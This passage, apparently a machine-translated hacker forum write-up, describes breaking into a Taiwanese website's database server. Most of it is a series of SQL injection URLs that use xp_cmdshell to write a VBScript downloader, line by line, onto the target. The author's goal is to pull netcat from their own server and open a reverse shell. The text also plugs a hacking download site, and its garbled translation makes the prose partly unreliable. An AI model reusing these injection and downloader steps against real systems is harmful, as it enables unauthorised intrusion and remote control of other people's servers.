The scanning result is the database has the firewall, my idea is uploads NC to come up first, obtained reverse Shell to say again first. I attempted many methods only then to pass on, used Tftp not to succeed first, FTP has not succeeded. If the database has WEB service also to be possible to read in WebShell, what a pity does not have. Without the means that has to write Iget.vbs (the script boy: Commercial message! In the black against previous month open downloading system has downloading, the address is

[url= http://www.hacker.com.cn/downweb/index.asp] www.hacker.com.cn/downweb/index.asp [/url]

, inside also has some little things to be also good, welcome everybody downloading use, and recommends you to think that in the function has the characteristic procedure), then lets opposite party download on my WEB server's NC. Good, decided, does this, continues in the IE submission:

[url= http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec] http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec [/url]

 master.dbo.xp_cmdshell' echo iLocal = LCase (WScript.Arguments(1)) > c:\winnt\system\p.vbs ' ; --

[url= http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec] http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec [/url]

 master.dbo.xp_cmdshell' echo iRemote = LCase (WScript.Arguments(0)) >> c:\winnt\system\p.vbs ' ; --

[url= http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec] http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec [/url]

 master.dbo.xp_cmdshell' echo Set xPost = CreateObject (“Microsoft.XMLHTTP”) >> c:\winnt\system\p.vbs ' ; --

[url= http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec] http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec [/url]

 master.dbo.xp_cmdshell' echo xPost.Open “GET”, iRemote,0 >> c:\winnt\system\p.vbs ' ; --

[url= http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec] http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec [/url]

 master.dbo.xp_cmdshell' echo xPost.Send() >> c:\winnt\system\p.vbs ' ; --

[url= http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec] http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec [/url]

 master.dbo.xp_cmdshell' echo Set sGet = CreateObject (“ADODB.Stream”) >> c:\winnt\system\p.vbs ' ; --

[url= http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec] http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec [/url]

 master.dbo.xp_cmdshell' echo sGet.Mode = 3 >> c:\winnt\system\p.vbs ' ; --

[url= http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec] http://www.xxx.org.tw/rdshow/modify.asp?bidno=f**k';exec [/url]

 master.dbo.xp_cmdshell' echo sGet.Type = 1 >> c:\winnt\system\p.vbs ' ; --